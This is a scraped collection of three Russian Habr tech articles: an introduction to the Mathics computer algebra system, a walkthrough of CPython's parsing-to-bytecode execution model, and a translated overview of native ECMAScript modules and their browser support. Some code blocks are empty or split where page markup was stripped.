Mathics — система компьютерной алгебры (CAS) общего назначения, которая предлагает свободную альтернативу. В то же время эта легковесная система не претендует на полную функциональность Mathematica и её продвинутого языка программирования Wolfram Language (WL). Если посмотреть на [примеры сниппетов WL](https://codegolf.stackexchange.com/a/44683/9570), то вряд ли возможно создать эти поразительные программы в Mathics с такой же лёгкостью и лаконичностью. Например, такой [однострочник из 100 символов](https://twitter.com/wolframtap/status/559290929316909056/photo/1) генерирует карту солнечного освещения Земли на указанную дату и время путём наложения полупрозрачной формы ночного полушария на рельефную карту.
На Mathics такое не получится, как и многие другие примеры из [этого списка](https://codegolf.stackexchange.com/a/44683/9570) тоже не сработают. Вообще, для Wolfram Language (WL) практически невозможно создать полноценный интерпретатор с открытым исходным кодом, потому что многие встроенные решатели являются проприетарной собственностью компании Вольфрама. Однако попытаться можно.
Mathics работает на различных питоновских библиотеках, на которых реализован Mathematica-совместимый синтаксис. Некоторые примеры синтаксиса показаны в этом маленьком скринкасте из консольного клиента `mathicsscript`:
Консольный клиент mathicsscript — один из модулей Mathics. Здесь реализована модульная система, из которой можно выбрать и установить только избранные модули. Только ядро нужно установить в любом случае, его репозиторий [mathics-core](https://github.com/Mathics3/mathics-core) на GitHub.
Список модулей:
* [Mathics-Scanner](https://github.com/Mathics3/mathics-scanner) (таблицы символов WL и сканер Mathics)
* [mathicsscript](https://github.com/Mathics3/mathicsscript) (консольный интерфейс)
* [mathics-pygments](https://github.com/Mathics3/mathics-pygments) (подстветка синтаксиса WL)
* [Mathics-Django](https://github.com/Mathics3/Mathics-Django) (HTTP-сервер на Django), на КДПВ показан пример выдачи такого сервера с визуализацией графики через Three.js. Поддерживается язык математической разметки MathML. Подробная интерактивная документация на Ajax
* [mathics-threejs-backend](https://github.com/Mathics3/mathics-threejs-backend) (рендеринг 3D-графики с помощью [Three.js](https://threejs.org/))
* [pymathics-natlang](https://github.com/Mathics3/pymathics-natlang) (расширение для обработки естественного языка)
* [pymathics-graph](https://github.com/Mathics3/pymathics-graph) (расширение для графики на базе [NetworkX](https://networkx.org/))
* [справочное руководство](https://mathics.org/#doc)
Полный набор содержит множество различных компонентов, и каждый из них имеет свои собственные зависимости. Кроме того, растёт число сторонних дополнений к Mathics.
Проще всего установить Mathics из [образа Docker](https://hub.docker.com/r/mathicsorg/mathics):
```
docker pull mathicsorg/mathics
```
Чтобы установить всё локально без Docker, нужно поставить питоновский пакет [Mathics-omnibus](https://pypi.org/project/Mathics-omnibus/) из репозитория PyPi. Указанный пакет включают все перечисленные выше модули.
Конечно, до функциональности и блеска Mathematica этой системе очень далеко, но как бесплатный вариант в некоторых ситуациях Mathics может выручить. | https://habr.com/ru/post/699932/ | null | ru | null |
# Жизненный цикл кода на Python – модель выполнения CPython
Всем привет! Наступила весна, а это значит, что до запуска курса [«Разработчик Python»](https://otus.pw/Aex9/) остается меньше месяца. Именно этому курсу и будет посвящена наша сегодняшняя публикация.
***Задачи:***
— Узнать о внутреннем устройстве Python;
— Понять принципы построения абстрактного синтаксического дерева (AST);
— Писать более эффективный код по времени и по памяти.
***Предварительные рекомендации:***
— Базовое понимания работы интерпретатора (AST, токены и т.д.).
— Знание Python.
— Базовое знание С.
```
batuhan@arch-pc ~/blogs/cpython/exec_model python --version
Python 3.7.0
```
**Модель выполнения CPython**
Python компилируемый и интерпретируемый язык. Таким образом компилятор Python генерирует байткоды, а интерпретатор исполняет их. В ходе статьи мы рассмотрим следующие вопросы:
* Парсинг и токенизация:
* Трансформация в AST;
* Граф потока управления (CFG);
* Байткод;
* Выполнение на виртуальной машине CPython.
**Парсинг и токенизация.
Грамматика.**
Грамматика определяет семантику языка Python. Она также полезна в указании способа, котором парсер должен интерпретировать язык. Грамматика Python использует синтаксис подобный расширенной форме Бэкуса-Наура. Он имеет свою собственную грамматику для переводчика с исходного языка. Вы можете найти файл грамматики в директории “cpython/Grammar/Grammar”.
Далее приведен пример грамматики,
```
batuhan@arch-pc ~/cpython/Grammar master grep "simple_stmt" Grammar | head -n3 | tail -n1
simple_stmt: small_stmt (';' small_stmt)* [';'] NEWLINE
```
Простые выражения содержат маленькие выражения и скобки, а заканчивается команда новой строкой. Маленькие выражения выглядят как список выражений, которые импортируют…
Какие-то другие выражения:)
```
small_stmt: (expr_stmt | del_stmt | pass_stmt | flow_stmt |
import_stmt | global_stmt | nonlocal_stmt | assert_stmt)
...
del_stmt: 'del' exprlist
pass_stmt: 'pass'
flow_stmt: break_stmt | continue_stmt | return_stmt | raise_stmt | yield_stmt
break_stmt: 'break'
continue_stmt: 'continue'
```
**Токенизация (Лексический разбор)**
Токенизация – это процесс получения текстового потока данных и разбиения на токены значащих (для интерпретатора) слов с дополнительными метаданными (например, где токен начинается и кончается, и каково строковое значение этого токена).
**Токены**
Токен – это заголовочный файл, содержащий определения всех токенов. Всего в Python 59 типов токенов (Include/token.h).
Ниже приведен пример некоторых из них,
```
#define NAME 1
#define NUMBER 2
#define STRING 3
#define NEWLINE 4
#define INDENT 5
#define DEDENT 6
```
Их вы видите, если разбиваете на токены какой-то код на Python.
**Токенизация с помощью CLI**
Здесь представлен файл tests.py
```
def greetings(name: str):
print(f"Hello {name}")
greetings("Batuhan")
```
Дальше его мы токенезируем с помощью команды python -m tokenize и на выходе получаем следующее:
```
batuhan@arch-pc ~/blogs/cpython/exec_model python -m tokenize tests.py
0,0-0,0: ENCODING 'utf-8'
...
2,0-2,4: INDENT ' '
2,4-2,9: NAME 'print'
...
4,0-4,0: DEDENT ''
...
5,0-5,0: ENDMARKER ''
```
Здесь номера (например 1,4-1,13) показывают, где токен начался и где он закончился. Токен кодирования (encoding token) – это всегда самый первый токен, который мы получаем. Он дает информацию о кодировке исходного файла и если с ней есть какие-то проблемы, то интерпретатор вызывает exception.
**Токенизация с помощью *tokenize.tokenize***
Если нужно разбить на токены файл из вашего кода, вы можете использовать модуль ***tokenize*** из *stdlib*.
```
>>> with open('tests.py', 'rb') as f:
... for token in tokenize.tokenize(f.readline):
... print(token)
...
TokenInfo(type=57 (ENCODING), string='utf-8', start=(0, 0), end=(0, 0), line='')
...
TokenInfo(type=1 (NAME), string='greetings', start=(1, 4), end=(1, 13), line='def greetings(name: str):\n')
...
TokenInfo(type=53 (OP), string=':', start=(1, 24), end=(1, 25), line='def greetings(name: str):\n')
...
```
Тип токена — это его id в заголовочном файле *token.h.* String– это значение токена. Start и End показывают, где токен начинается и заканчивается соответственно.
В других языках блоки обозначаются скобками или операторами begin/end, но в Python используются отступы и разные уровни. INDENT и DEDENT токены и указывают на отступы. Эти токены нужны для построения реляционных деревьев синтаксического анализа и/или абстрактных синтаксических деревьев.
**Генерация парсера**
Генерация парсера –процесс, который генерирует парсер по заданной грамматике. Генераторы парсера известны под названием PGen. В Cpython есть два генератора парсера. Один – оригинальный (`Parser/pgen`) и один переписанный на python (`/Lib/lib2to3/pgen2`).
*“Оригинальный генератор был первым кодом, который я написал для Python”
-Guido*
Из вышеприведенной цитаты становится ясно, что *pgen* – самая важная вещь в языке программирования. Когда вы вызываете pgen (в *Parser/pgen*) он генерирует заголовочный файл и С-файл (сам парсер). Если вы посмотрите на сгенерированный код на С, он может показаться бессмысленным, поскольку его осмысленный вид – дело необязательное. Он содержит множество статических данных и структур. Дальше постараемся пояснить его основные компоненты.
**DFA (Определенный конечный автомат)**
Парсер определяет один DFA для каждого нетерминала. Каждый DFA определяется как массив состояний.
```
static dfa dfas[87] = {
{256, "single_input", 0, 3, states_0,
"\004\050\340\000\002\000\000\000\012\076\011\007\262\004\020\002\000\300\220\050\037\202\000"},
...
{342, "yield_arg", 0, 3, states_86,
"\000\040\200\000\002\000\000\000\000\040\010\000\000\000\020\002\000\300\220\050\037\000\000"},
};
```
Для каждого DFA существует стартовый набор, который показывает с каких токенов может начинаться специальный нетерминал.
**Состояние**
Каждое состояние определяется массивом переходов/ребер (arcs).
```
static state states_86[3] = {
{2, arcs_86_0},
{1, arcs_86_1},
{1, arcs_86_2},
};
```
**Переходы (arcs)**
В каждом массиве переходов есть два числа. Первый номер — это название перехода (arc label), он относится к номеру символа. Второе число — это точка назначения.
```
static arc arcs_86_0[2] = {
{77, 1},
{47, 2},
};
static arc arcs_86_1[1] = {
{26, 2},
};
static arc arcs_86_2[1] = {
{0, 2},
};
```
**Названия (labels)**
Это специальная таблица, которая соотносит id символа с названием перехода.
```
static label labels[177] = {
{0, "EMPTY"},
{256, 0},
{4, 0},
...
{1, "async"},
{1, "def"},
...
{1, "yield"},
{342, 0},
};
```
Цифра 1 соответствует всем идентификаторам. Таким образом каждый из них получает разные названия перехода даже если они все имеют одинаковое id символа.
***Простой пример:***
Допустим, у нас есть код, который выводит “Hi” если 1 — верно:
```
if 1: print('Hi')
```
Парсер считает этот код как single\_input.
```
single_input: NEWLINE | simple_stmt | compound_stmt NEWLINE
```
Тогда наше дерево синтаксического анализа начинается с корневого узла разового ввода.
И значение нашего DFA (single\_input) получается равным 0.
```
static dfa dfas[87] = {
{256, "single_input", 0, 3, states_0,
"\004\050\340\000\002\000\000\000\012\076\011\007\262\004\020\002\000\300\220\050\037\202\000"}
...
}
```
Это будет выглядеть следующим образом:
```
static arc arcs_0_0[3] = {
{2, 1},
{3, 1},
{4, 2},
};
static arc arcs_0_1[1] = {
{0, 1},
};
static arc arcs_0_2[1] = {
{2, 1},
};
static state states_0[3] = {
{3, arcs_0_0},
{1, arcs_0_1},
{1,
```
arcs\_0\_2},
};
Здесь `arc_0_0` состоит из трех элементов. Первый — это `NEWLINE`, второй — `simple_stmt`, и последний — `compound_stmt`.
Имея начальный набор `simple_stmt` можно заключить, что `simple_stmt` не может начинаться с `if`. Однако даже если `if` — это не новая строка, то `compound_stmt` все равно может начинаться с `if`. Таким образом мы переходим с последнему `arc ({4;2})` и добавляем узел `compound_stmt` к дереву синтаксического анализа и перед тем, как перейти к номеру 2, переключаемся на новый DFA. Мы получаем обновленное дерево синтаксического анализа:
Новый DFA парсит составные высказывания (compound statements).
```
compound_stmt: if_stmt | while_stmt | for_stmt | try_stmt | with_stmt | funcdef | classdef | decorated | async_stmt
```
И у нас получается следующее:
```
static arc arcs_39_0[9] = {
{91, 1},
{92, 1},
{93, 1},
{94, 1},
{95, 1},
{19, 1},
{18, 1},
{17, 1},
{96, 1},
};
static arc arcs_39_1[1] = {
{0, 1},
};
static state states_39[2] = {
{9, arcs_39_0},
{1, arcs_39_1},
};
```
Только первый переход может начинаться с `if`. Мы получаем обновленное дерево синтаксического анализа.
Дальше мы снова меняем DFA и следующее DFA парсит if’ы.
```
if_stmt: 'if' test ':' suite ('elif' test ':' suite)* ['else' ':' suite]
```
В итоге мы получаем единственный переход с обозначением 97. Он совпадает с `if` токеном.
```
static arc arcs_41_0[1] = {
{97, 1},
};
static arc arcs_41_1[1] = {
{26, 2},
};
static arc arcs_41_2[1] = {
{27, 3},
};
static arc arcs_41_3[1] = {
{28, 4},
};
static arc arcs_41_4[3] = {
{98, 1},
{99, 5},
{0, 4},
};
static arc arcs_41_5[1] = {
{27, 6},
};
static arc arcs_41_6[1] = {
{28, 7},
};
...
```
Когда мы переключаемся к следующему состоянию, оставаясь в том же самом DFA, следующий arcs\_41\_1 имеет также только один переход. Это справедливо для тестового нетерминала. Он должен начинаться с номера (например, 1).
В arc\_41\_2 есть только один переход, который получает токен двоеточие (:).
Так мы получаем набор, который может начинаться с печатного значения (print statement). Наконец, переходим к arcs\_41\_4. Первый переход в наборе — это выражение elif, второй — else и третий для последнего состояния. И мы получаем финальный вид дерева синтаксического анализа.
**Интерфейс Python для парсера.**
Python позволяет редактировать дерево синтаксического анализа для выражений, с помощью модуля, который называется parser.
```
>>> import parser
>>> code = "if 1: print('Hi')"
```
Можно сгенерировать конкретное синтаксическое дерево (Concrete Syntax Tree, CST) с помощью parser.suite.
```
>>> parser.suite(code).tolist()
[257, [269, [295, [297, [1, 'if'], [305, [309, [310, [311, [312, [315, [316, [317, [318, [319, [320, [321, [322, [323, [324, [2, '1']]]]]]]]]]]]]]]], [11, ':'], [304, [270, [271, [272, [274, [305, [309, [310, [311, [312, [315, [316, [317, [318, [319, [320, [321, [322, [323, [324, [1, 'print']], [326, [7, '('], [334, [335, [305, [309, [310, [311, [312, [315, [316, [317, [318, [319, [320, [321, [322, [323, [324, [3, "'Hi'"]]]]]]]]]]]]]]]]]], [8, ')']]]]]]]]]]]]]]]]]]], [4, '']]]]]], [4, ''], [0, '']]
```
Выходным значением будет вложенный список. Каждый список в структуре имеет 2 элемента. Первый — это id символа ( 0-256 — терминалы, 256+ — нетерминалы) и второй — это строка токенов для терминала.
**Абстрактное синтаксическое дерево**
На самом деле абстрактное синтаксическое дерево (AST) — это структурное представление исходного кода в виде дерева, где каждая вершина обозначает различные типы конструкций языка (выражение, переменную, оператор и т.п.)
**Что такое дерево?**
Дерево — это структура данных, которая имеет корневую вершину, как начальную точку. Корневая вершина опускается ветвями (переходами) вниз к другим вершинам. Каждая вершина, кроме корневой, имеет одну уникальную родительскую вершину.
Между абстрактным синтаксическим деревом и деревом синтаксического анализа есть определенная разница.
Справа находится дерево синтаксического анализа выражения 2\*7+3. Это буквально один к одному изображение исходного кода в виде дерева. На нем видны все выражения, слагаемые и значения. Однако такое изображение слишком сложно для простого кусочка кода, поэтому мы имеем возможность просто убрать все синтаксические выражения, которые мы должны были определять в коде для проведения вычислений.
Такое упрощенное дерево называется абстрактным синтаксическим деревом (AST). Слева на рисунке изображено именно оно для того же самого кода. Все синтаксические выражения были отброшены для упрощения понимания, но нужно помнить о том, что была потеряна определенная информация.
**Пример**
Python предлагает встроенный AST модуль для работы с AST. Для генерации кода из AST деревьев можно использовать сторонние модули, например [Astor](https://github.com/berkerpeksag/astor).
Для примера рассмотрим тот же код, что и ранее.
```
>>> import ast
>>> code = "if 1: print('Hi')"
```
Для получения AST мы используем метод ast.parse.
```
>>> tree = ast.parse(code)
>>> tree
<_ast.Module object at 0x7f37651d76d8>
```
Попробуйте использовать метод `ast.dump` для получения более читаемого абстрактного синтаксического дерева.
```
>>> ast.dump(tree)
"Module(body=[If(test=Num(n=1), body=[Expr(value=Call(func=Name(id='print', ctx=Load()), args=[Str(s='Hi')], keywords=[]))], orelse=[])])"
```
AST в принципе считается более наглядным и удобным для понимания, чем дерево синтаксического анализа.
**Граф потока управления (Control Flow Graf, CFG)**
Графы потока управления – это направленные графы, которые моделируют поток программы, используя базовые блоки, которые содержат промежуточное представление.
Обычно CFG – это предыдущий шаг перед получением выходных значений кода. Код генерируется напрямую из базовых блоков с помощью обратного поиска в глубину в CFG, начиная от вершин.
**Байткод**
Байткод на Python – это промежуточный набор инструкций, которые работают на виртуальной машине Python’a. Когда вы запускаете исходный код, Python создает директорию, которая называется \_\_pycache\_\_. Она хранит скомпилированный код для того, чтобы сберечь время в случае перезапуска компиляции.
Рассмотрим простую функцию на Python в func.py.
```
def say_hello(name: str):
print("Hello", name)
print(f"How are you {name}?")
```
```
>>> from func import say_hello
>>> say_hello("Batuhan")
Hello Batuhan
How are you Batuhan?
```
Тип объекта `say_hello` – это функция.
```
>>> type(say_hello)
```
Она имеет атрибут `__code__`.
```
>>> say_hello.__code__
```
**Объекты Кода**
Объекты кода — это неизменяемые структуры данных, которые содержат инструкции или метаданные, необходимые для выполнения кода. Проще говоря, это представления кода на Python. Также можно получить объекты кода, компилируя абстрактные синтаксические деревья с помощью метода *compile*.
```
>>> import ast
>>> code = """
... def say_hello(name: str):
... print("Hello", name)
... print(f"How are you {name}?")
... say_hello("Batuhan")
... """
>>> tree = ast.parse(code, mode='exec')
>>> code = compile(tree, '', mode='exec')
>>> type(code)
```
Каждый объект кода имеет атрибуты, которые содержат определенную информацию (с префиксом co\_). Здесь мы упомянем лишь несколько из них.
***co\_name***
Для начала – имя. Если существует функция, то у нее должно быть имя, соответственно, это имя будет именем функции, аналогичная ситуация с классом. В примере с AST мы используем модули, и мы точно можем сказать компилятору как мы хотим их назвать. Пускай они будут просто `module`.
```
>>> code.co_name
''
>>> say\_hello.\_\_code\_\_.co\_name
'say\_hello'
```
***co\_varnames***
Это кортеж, содержащий все локальные переменные, в том числе и аргументы.
```
>>> say_hello.__code__.co_varnames
('name',)
```
***co\_conts***
Кортеж, содержащий все литералы и константные значения, к которым мы обращались в теле функции. Здесь стоить отметить значение None. Мы не включали None в тело функции, однако Python указал его, поскольку в случае начала исполнения функции, а потом окончания без получения каких-либо возвращаемых значений, он вернет None.
```
>>> say_hello.__code__.co_consts
(None, 'Hello', 'How are you ', '?')
```
**Байткод (co\_code)**
Далее приведен байткод нашей функции.
```
>>> bytecode = say_hello.__code__.co_code
>>> bytecode
b't\x00d\x01|\x00\x83\x02\x01\x00t\x00d\x02|\x00\x9b\x00d\x03\x9d\x03\x83\x01\x01\x00d\x00S\x00'
```
Это не строка, это байтовый объект, то есть последовательность байт.
```
>>> type(bytecode)
```
Первый выведенный символ это «t». Если мы запросим его числовое значение, то получим следующее.
```
>>> ord('t')
116
```
116 – это то же самое, что и bytecode[0].
```
>>> assert bytecode[0] == ord('t')
```
Для нас значение 116 ничего не значит. К счастью, Python предоставляет стандартную библиотеку, которая называется dis (от disassembly). Он полезна при работе с opname списком. Это список всех инструкций байткода, где каждый индекс – это имя инструкции.
```
>>> dis.opname[ord('t')]
'LOAD_GLOBAL'
```
Давайте создадим другую более сложную функцию.
```
>>> def multiple_it(a: int):
... if a % 2 == 0:
... return 0
... return a * 2
...
>>> multiple_it(6)
0
>>> multiple_it(7)
14
>>> bytecode = multiple_it.__code__.co_code
```
И узнаем первую инструкцию в байткоде.
```
>>> dis.opname[bytecode[0]]
'LOAD_FAST
```
Инструкция LOAD\_FAST состоит из двух элементов.
```
>>> dis.opname[bytecode[0]] + ' ' + dis.opname[bytecode[1]]
'LOAD_FAST <0>'
```
Инструкция Loadfast 0 случит для поиска имен переменных в кортеже и проталкивания элемента с нулевым индексом в кортеж в стеке исполнения.
```
>>> multiple_it.__code__.co_varnames[bytecode[1]]
'a'
```
Наш код можно дизассемблировать с помощью dis.dis и преобразовать байткод в привычный для человека вид. Здесь номера (2,3,4) – это номера строк. Каждая строка кода в Python раскрывается как множество инструкций.
```
>>> dis.dis(multiple_it)
2 0 LOAD_FAST 0 (a)
2 LOAD_CONST 1 (2)
4 BINARY_MODULO
6 LOAD_CONST 2 (0)
8 COMPARE_OP 2 (==)
10 POP_JUMP_IF_FALSE 16
3 12 LOAD_CONST 2 (0)
14 RETURN_VALUE
4 >> 16 LOAD_FAST 0 (a)
18 LOAD_CONST 1 (2)
20 BINARY_MULTIPLY
22 RETURN_VALUE
```
**Время выполнения**
CPython – это стек-ориентированная виртуальная машина, а не набор регистров. Это значит, что код на Python компилируется для виртуального компьютера со стековой архитектурой.
При вызове функции Python использует два стека совместно. Первый – стек исполнения, а второй – стек блоков. Больше всего вызовов происходит в стеке исполнения; стек блоков отслеживает сколько блоков на данный момент активно, а также другие параметры, связанные с блоками и областями видимости.
Ждём ваши комментарии по материалу и приглашаем на [открытый вебинар](https://otus.pw/ev5A/) по теме: «Release it: практические аспекты выпуска надёжного софта», который проведет наш преподаватель — программист рекламной системы в Mail.Ru — [Станислав Ступников](https://otus.pw/PVX8/). | https://habr.com/ru/post/442252/ | null | ru | null |
# Нативные ECMAScript модули — первый обзор
[](https://habrahabr.ru/company/tuturu/blog/326716/)
*В этой статье хочу поделиться переводом статьи о нативных [ECMAScript модулях](http://www.ecma-international.org/ecma-262/6.0/#sec-modules), которые все больше и больше обсуждаются среди фронтендеров. Javascript ранее никогда не поддерживал нативно работу с модулями, и нам, фронтендерам, всегда приходилось использовать дополнительные инструменты для работы с модулями. Но вы только представьте, что в скором времени не нужно будет использовать Webpack для создания бандлов модулей. Представьте мир, в котором браузер будет собирать все за вас. Подробнее об этих перспективах я и хочу рассказать.*
В 2016 году в браузеры и Nodejs было добавлено много интересных фич и полезностей из новых стандартов, в частности спецификации [ECMAScript 2015](http://www.ecma-international.org/ecma-262/6.0/). Сейчас мы сталкиваемся с ситуацией, когда поддержка среди браузеров близка к 100%:
Также фактически в стандарт введены [ECMAScript модули](http://www.ecma-international.org/ecma-262/6.0/#sec-modules) (часто называют ES/ES6 модули). Это единственная часть спецификации, которая требовала и требует наибольшего времени для реализации, и ни один браузер пока не выпустил их в стабильной версии.
Недавно в Safari 19 Technical Preview и Edge 15 добавили реализацию модулей без использования флагов. Уже близится то время, когда мы можем отказаться от использования привычных всем бандлов и транспиляции модулей.
Чтобы лучше понять, как мир фронтенда пришел к этому, давайте начнем с истории JS модулей, а затем взглянем на текущие преимущества и реализации ES6 модулей.
Немного истории
---------------
Было много способов подключения модулей. Приведу для примера наиболее типичные из них:
1. Просто длинный код внутри script тега. Например:
```
// module1 code
// module2 code
```
2. Разделение логики между файлами и подключение их с помощью тегов script:
```
/* js */
// module1.js
// module1 code
// module2.js
// module2 code
```
```
```
3. Модуль как функция (например: модуль функция, которая возвращает что-то; самовызывающаяся функция или функция конструктор) + Application файл/модель, которые будут точкой входа для приложения:
```
// polyfill-vendor.js
(function(){
// polyfills-vendor code
}());
// module1.js
function module1(params){
// module1 code
return module1;
}
// module3.js
function module3(params){
this.a = params.a;
}
module3.prototype.getA = function(){
return this.a;
};
// app.js
var APP = {};
if(isModule1Needed){
APP.module1 = module1({param1:1});
}
APP.module3 = new module3({a: 42});
```
```
```
Ко всему этому Frontend сообщество изобрело много разновидностей и новых способов, которые добавляли разнообразие в этот праздник анархии.
Основная идея заключается в том, чтобы обеспечить систему, которая позволит вам просто подключить одну ссылку JS файла, вот так:
```
```
Но всё свелось к тому, что разработчики выбрали сторону бандлеров — систем сборки кода. Далее предлагается рассмотреть основные реализации модулей в JavaScript.
Асинхронное определение модуля ([AMD](https://en.wikipedia.org/wiki/Asynchronous_module_definition))
----------------------------------------------------------------------------------------------------
Такой подход широко реализуется в библиотеке [RequireJS](http://requirejs.org) и в инструментах, таких как [r.js](https://github.com/requirejs/r.js) для создания результирующего бандла. Общий синтаксис:
```
// polyfill-vendor.js
define(function () {
// polyfills-vendor code
});
// module1.js
define(function () {
// module1 code
return module1;
});
// module2.js
define(function (params) {
var a = params.a;
function getA(){
return a;
}
return {
getA: getA
}
});
// app.js
define(['PATH/polyfill-vendor'] , function () {
define(['PATH/module1', 'PATH/module2'] , function (module1, module2) {
var APP = {};
if(isModule1Needed){
APP.module1 = module1({param1:1});
}
APP.module2 = new module2({a: 42});
});
});
```
[CommonJS](https://en.wikipedia.org/wiki/CommonJS)
--------------------------------------------------
Это основной формат модулей в Node.js экосистеме. Одним из основных инструментов для создания бандлов для клиентских устройств является [Browserify](http://browserify.org). Особенность этого стандарта — обеспечение отдельной области видимости для каждого модуля. Это позволяет избежать непреднамеренной утечки в глобальную область видимости и глобальных переменных.
Пример:
```
// polyfill-vendor.js
// polyfills-vendor code
// module1.js
// module1 code
module.exports= module1;
// module2.js
module.exports= function(params){
const a = params.a;
return {
getA: function(){
return a;
}
};
};
// app.js
require('PATH/polyfill-vendor');
const module1 = require('PATH/module1');
const module2 = require('PATH/module2');
const APP = {};
if(isModule1Needed){
APP.module1 = module1({param1:1});
}
APP.module2 = new module2({a: 42});
```
ECMAScript модули (ака ES6/ES2015/нативные JavaScript модули)
-------------------------------------------------------------
Еще один способ работы с модулями пришел к нам с ES2015. В новом стандарте появился новый синтаксис и особенности, удовлетворяющие потребностям фронтенда, таким как:
* отдельные области видимости модулей
* строгий режим по умолчанию
* циклические зависимости
* возможность легко разбить код, соблюдая спецификацию
Есть множество реализаций загрузчиков, компиляторов и подходов, которые поддерживают одну или несколько из этих систем. Например:
* [Webpack](https://webpack.github.io)
* [SystemJS](https://github.com/systemjs/systemjs)
* [JSPM](http://jspm.io)
* [Babel](https://babeljs.io)
* [UMD](https://github.com/umdjs/umd)
Инструменты
-----------
На сегодняшний день в JavaScript мы привыкли к использованию различных инструментов для объединения модулей. Если мы говорим о ECMAScript модулях, вы можете использовать один из следующих:
* [Rollup](https://github.com/rollup/rollup)
* [Traceur Compiler](https://github.com/google/traceur-compiler)
* [Babel](https://babeljs.io), в частности, плагин для [преобразования ES2015 модулей в CommonJS](https://babeljs.io/docs/plugins/transform-es2015-modules-commonjs/)
* [Webpack 2](https://webpack.github.io/docs/roadmap.html) со своим Tree Shaking (удаление неиспользуемого кода)
* [TypeScript](https://www.typescriptlang.org/) — в качестве транспилятора
Как правило, инструмент предоставляет CLI интерфейс и возможность настроить конфигурацию для создания бандлов из ваших JS файлов. Он получает точки входа и набор файлов. Обычно такие инструменты автоматически добавляют “use strict”. Некоторые из этих инструментов также умеют транспилировать код, чтобы заставить его работать во всех окружениях, которые необходимо (старые браузеры, Node.js и т.д.).
Давайте посмотрим на упрощенной WebPack конфиг, который устанавливает точку входа и использует Babel для транспиляции JS файлов:
```
// webpack.config.js
const path = require('path');
module.exports = {
entry: path.resolve('src', 'webpack.entry.js'),
output: {
path: path.resolve('build'),
filename: 'main.js',
publicPath: '/'
},
module: {
loaders: {
"test": /\.js?$/,
"exclude": /node_modules/,
"loader": "babel"
}
}
};
```
Конфиг состоит из основных частей:
1. начинаем с файла webpack.entry.js
2. используем Babel лоудер для всех файлов JS (то есть, код будет транспилироваться в зависимости от пресетов/плагинов + сгенерируется бандл)
3. Результат помещается в файл main.js
В этом случае, как правило, файл index.html содержит следующее:
```
```
И ваше приложение использует бандлы/транспилируемый код JS. Это общий подход для работы с бандлерами, давайте посмотрим, как заставить его работать в браузере без каких-либо бандлов.
Как сделать так, чтобы JavaScript модули работали в браузере
------------------------------------------------------------
### Поддержка Браузеров
На сегодняшний день каждый из современных браузеров имеет поддержку модулей ES6:
* Firefox — [реализованы, доступны под флагом в Firefox 54+](https://bugzilla.mozilla.org/show_bug.cgi?id=568953)
* Chrome — [в стадии разработки](https://www.chromestatus.com/features/5365692190687232)
* EDGE — [реализованы, доступны под флагом в EDGE 15 Preview Build 14342+](https://developer.microsoft.com/en-us/microsoft-edge/platform/status/moduleses6/?q=module)
* Webkit — [реализованы, доступны по умолчанию Safari Technology Preview 21+](https://webkit.org/status/#feature-modules)
* Node.js — [на рассмотрении, требуют дополнительного обсуждения](https://github.com/nodejs/node-eps/blob/master/002-es6-modules.md)
### Где можно проверить
Как вы видели, в настоящее время можно проверить нативные JS модули в Safari Technology Preview 19+ и EDGE 15 Preview Build 14342+. Давайте скачаем и попробуем модули в действии.
### ES модули доступны в Firefox
Вы можете скачать [Firefox Nightly](https://www.mozilla.org/en-US/firefox/channel/desktop/), а это означает, что скоро модули появятся в [FF Developer Edition](https://www.mozilla.org/en-US/firefox/developer/), а затем в стабильной версии браузера.
Чтобы включить ES модули:
* откройте страницу `about:config`
* нажмите “I accept the risk!”
* найдите флаг `dom.moduleScripts.enabled`
* дважды кликните для смены значения флага в значение true
И все, теперь вы у вас доступны ES модули в Firefox.
### Safari Technology Preview с доступными ES модулями
Если вы используете MacOS, достаточно просто загрузить последнюю версию Safari Technology Preview (TP) с [developer.apple.com](https://developer.apple.com/safari/download/). Установите и откройте его. Начиная с [Safari Technology Preview версии 21+](https://webkit.org/blog/7265/release-notes-for-safari-technology-preview-21/&usg=ALkJrhhr4bTdQdc6nyahpX_BoyjStLUXbg), модули ES включены по умолчанию.
Если это Safari TP 19 или 20, убедитесь, что ES6 модули включены: откройте меню «Develop» → «Experimental Features» → «ES6 Modules».
Другой вариант — [скачать последнюю Webkit Nightly](https://webkit.org/downloads/) и играться с ним.
### EDGE 15 — включаем ES модули
Вы можете [скачать бесплатную виртуальную машину от Microsoft](https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/&usg=ALkJrhjbzpNayQs6n4C61o2ygvZNJFqAIA).
Просто выберите виртуальную машину (VM) «Microsoft EDGE на Win 10 Preview (15.XXXXX)» и, например, «Virtual Box» (также бесплатно) в качестве платформы.
Установите и запустите виртуальную машину, далее откройте браузер EDGE.
Зайдите на страницу about:flags и включите флаг «Включить экспериментальные функции JavaScript» (Enable experimental JavaScript features).
Вот и все, теперь у вас есть несколько сред, где вы можете играть с нативной реализацией модулей ECMAScript.
Отличия родных и собранных модулей
----------------------------------
Давайте начнем с нативных особенностей модулей:
1. Каждый модуль имеет собственную область видимости, которая не является глобальной.
2. Они всегда в строгом режиме, даже когда директива «use strict» не указана.
3. Модуль может импортировать другие модули с помощью [import директивы](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/import&usg=ALkJrhhu317ObZLoOW9_S-p5MUHXxtJwGw).
4. Модуль может экспортироваться с помощью [export](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/export).
До сих пор мы не увидели особенно серьезные отличия от того, к чему мы привыкли с бандлерами. Большая разница в том, что точка входа должна быть предусмотрена в браузере. Вы должны предоставить script тег с конкретным атрибутом type=«module», например:
```
```
Это говорит браузеру, что ваш скрипт может содержать импорт других скриптов, и они должны быть соответствующим образом обработаны. Главный вопрос, который появляется здесь:
> Почему интерпретатор JavaScript не может определять модули, если файл и так по сути является модулем?
[Одна из причин](https://www.nczonline.net/blog/2016/04/es6-module-loading-more-complicated-than-you-think/) — нативные модули в строгом режиме по умолчанию, а классические script-ы нет:
1. скажем, интерпретатор анализирует файл, предполагая, что это классический сценарий в нестрогом режиме;
2. потом он находит «импорт\экспорт» директивы;
3. в этом случае, он должен начать с самого начала, чтобы разобрать весь код еще раз в строгом режиме.
Еще одна причина — тот же файл может быть валидным без строгого режима и невалидным с ним же. Тогда валидность зависит от того, как он интерпретируется, что и приводит к неожиданным проблемам.
